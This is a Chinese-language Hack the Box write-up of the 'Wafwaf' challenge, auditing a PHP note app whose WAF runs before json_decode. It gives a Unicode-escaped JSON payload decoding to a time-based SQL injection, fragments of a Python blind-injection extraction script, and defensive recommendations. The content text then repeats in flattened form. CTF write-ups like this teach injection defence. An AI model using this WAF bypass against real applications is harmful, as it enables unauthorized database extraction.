Hack the Box——Wafwaf(代码审计) wp
字数 1090 2025-08-15 21:33:32

Wafwaf 代码审计与SQL注入绕过技术分析

0x00 题目概述

题目描述:Jason同学开发了一个"超级安全"的笔记应用,要求进行安全审计。

访问地址:http://159.65.87.50:31703/

0x01 代码分析

关键代码流程

  1. 通过 php://input 获取原始输入数据
  2. 使用 waf() 函数进行输入验证
  3. 使用 json_decode() 解码JSON数据
  4. 执行SQL查询语句

关键函数分析

  1. error_reporting(0):关闭错误报告,增加调试难度
  2. preg_match_all:执行全局正则表达式匹配
  3. preg_quote():对正则表达式特殊字符进行转义
  4. json_decode:对JSON格式字符串进行解码
  5. file_get_contents('php://input'):获取POST原始数据

0x02 漏洞点分析

1. WAF过滤不完整

虽然应用使用了WAF过滤,但存在以下问题:

  • SQL关键字过滤不完整
  • 正则表达式可能存在绕过可能

2. 输入处理链

php://inputwaf()json_decode() → SQL查询

每个环节都可能存在漏洞:

  • php://input 处理原始数据
  • json_decode 的Unicode解码特性
  • SQL查询拼接方式

0x03 漏洞利用技术

Unicode编码绕过技术

利用JSON的Unicode转义特性绕过WAF过滤:

<?php
$json = '{"user":"\u0027\u006f\u0072\u0020\u0073\u006c\u0065\u0065\u0070\u0028\u0035\u0029\u0023"}';
$result = json_decode($json);
print_r($result);
?>

解码后实际为:'or sleep(5)#

时间盲注技术

由于应用不返回查询结果和错误信息,适合使用时间盲注:

  1. 构造条件查询,通过响应时间判断条件真假
  2. 使用sleep()函数作为时间判断依据

0x04 自动化利用脚本

脚本核心功能

  1. JSON数据生成:自动将payload转换为Unicode编码
  2. 时间检测:通过响应时间判断注入结果
  3. 逐字符爆破:实现数据库信息的逐字符提取

关键代码片段

def json_update(query_, mode):
    payload['user'] = query_
    Json = dumps(payload).replace("\\", "\\\\")
    if mode == '1':
        print("[*] Json Data : {}".format(Json))
    return Json

def get_request(query, mode, string, Len):
    if mode == '1':
        first_time = time()
        res = post(url, data=json_update(query, '1'), headers=headers)
        second_time = time()
        # ...响应处理...
    elif mode == '2':
        # 长度检测逻辑
        for i in range(100):
            # Unicode编码生成
            if i < 10:
                unicode_ = "\\u003" + str(i)
            elif i >= 10 and i < 20:
                unicode_ = "\\u0031\\u003" + str(i)[1]
            # ...其他范围处理...
            
            # 发送请求并检测时间
            post(url, data=json_update(query.format(unicode_), '0'), headers=headers)
            second_time = time()
            if second_time - first_time >= 4.9:
                print("[*] Sleep : {}".format(second_time - first_time))
                break

0x05 防御建议

  1. 使用参数化查询:避免SQL拼接
  2. 完善WAF规则
    • 完整覆盖所有SQL关键字
    • 考虑Unicode解码后的内容
  3. 输入验证
    • 在JSON解码后进行二次验证
    • 限制输入字符范围
  4. 错误处理
    • 生产环境保持错误报告关闭
    • 但记录错误日志供审计

0x06 总结

本案例展示了:

  1. 多层防御机制(WAF+编码)的绕过技术
  2. 基于时间的盲注技术实现
  3. 自动化漏洞利用脚本开发
  4. Unicode编码在Web安全中的特殊作用

关键点:理解应用的数据处理流程,找到每个环节的弱点,利用编码特性绕过过滤,最终实现漏洞利用。

Wafwaf 代码审计与SQL注入绕过技术分析 0x00 题目概述 题目描述:Jason同学开发了一个"超级安全"的笔记应用,要求进行安全审计。 访问地址:http://159.65.87.50:31703/ 0x01 代码分析 关键代码流程 通过 php://input 获取原始输入数据 使用 waf() 函数进行输入验证 使用 json_decode() 解码JSON数据 执行SQL查询语句 关键函数分析 error_ reporting(0) :关闭错误报告,增加调试难度 preg_ match_ all :执行全局正则表达式匹配 preg_ quote() :对正则表达式特殊字符进行转义 json_ decode :对JSON格式字符串进行解码 file_ get_ contents('php://input') :获取POST原始数据 0x02 漏洞点分析 1. WAF过滤不完整 虽然应用使用了WAF过滤,但存在以下问题: SQL关键字过滤不完整 正则表达式可能存在绕过可能 2. 输入处理链 php://input → waf() → json_decode() → SQL查询 每个环节都可能存在漏洞: php://input 处理原始数据 json_decode 的Unicode解码特性 SQL查询拼接方式 0x03 漏洞利用技术 Unicode编码绕过技术 利用JSON的Unicode转义特性绕过WAF过滤: 解码后实际为: 'or sleep(5)# 时间盲注技术 由于应用不返回查询结果和错误信息,适合使用时间盲注: 构造条件查询,通过响应时间判断条件真假 使用 sleep() 函数作为时间判断依据 0x04 自动化利用脚本 脚本核心功能 JSON数据生成 :自动将payload转换为Unicode编码 时间检测 :通过响应时间判断注入结果 逐字符爆破 :实现数据库信息的逐字符提取 关键代码片段 0x05 防御建议 使用参数化查询 :避免SQL拼接 完善WAF规则 : 完整覆盖所有SQL关键字 考虑Unicode解码后的内容 输入验证 : 在JSON解码后进行二次验证 限制输入字符范围 错误处理 : 生产环境保持错误报告关闭 但记录错误日志供审计 0x06 总结 本案例展示了: 多层防御机制(WAF+编码)的绕过技术 基于时间的盲注技术实现 自动化漏洞利用脚本开发 Unicode编码在Web安全中的特殊作用 关键点:理解应用的数据处理流程,找到每个环节的弱点,利用编码特性绕过过滤,最终实现漏洞利用。